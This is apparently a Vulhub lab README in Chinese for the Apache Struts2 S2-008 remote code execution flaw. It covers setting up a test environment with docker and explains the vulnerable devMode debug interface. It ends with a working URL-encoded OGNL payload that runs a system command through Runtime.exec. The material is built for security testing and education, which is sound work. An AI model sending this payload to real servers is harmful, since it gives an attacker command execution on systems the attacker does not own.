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vulhub/struts2/s2-008/README.zh-cn.md
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# S2-008 远程代码执行漏洞
影响版本: 2.1.0 - 2.3.1
漏洞详情: http://struts.apache.org/docs/s2-008.html
## 测试环境搭建
```
docker compose build
docker compose up -d
```
## 原理
参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
> S2-008 涉及多个漏洞Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。
例如在 devMode 模式下直接添加参数`?debug=command&expression=<OGNL EXP>`,会直接执行后面的 OGNL 表达式,因此可以直接执行命令(注意转义):
```
http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)
```